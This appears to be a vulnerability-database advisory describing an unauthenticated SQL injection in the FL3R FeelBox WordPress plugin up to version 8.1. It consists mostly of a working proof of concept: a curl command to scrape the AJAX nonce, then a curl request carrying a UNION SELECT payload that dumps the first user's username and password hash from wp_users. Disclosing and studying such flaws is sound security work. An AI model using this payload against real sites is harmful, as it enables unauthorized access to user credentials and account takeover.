Lucene search

K
wpexploitCydaveWPEX-ID:9BB6FDE0-1347-496B-BE03-3512E6B7E8F8
HistoryJan 20, 2023 - 12:00 a.m.

FL3R FeelBox <= 8.1 - Unauthenticated SQLi

2023-01-2000:00:00
cydave
176
sql injection
feelbox
nonce extraction
user details disclosure
unauthenticated vulnerability

EPSS

0.002

Percentile

58.2%

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

1. Visit a blog post and extract the nonce from the source (search for "feelboxAjax", and extract the "token")

    curl -s 'http://127.0.0.1:7777/?p=1' | grep 'token'

2. Invoke the following curl command, with the just obtained nonce (token), to disclose the first user's username and password hash:

    curl 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=populate_post' \
        --data 'token=<NONCE HERE>&postID=1 UNION ALL SELECT 1,1,CONCAT((SELECT user_login FROM wp_users),CHR(0x3a),(SELECT user_pass FROM wp_users)),1,1,1,1-- -'

EPSS

0.002

Percentile

58.2%

Related for WPEX-ID:9BB6FDE0-1347-496B-BE03-3512E6B7E8F8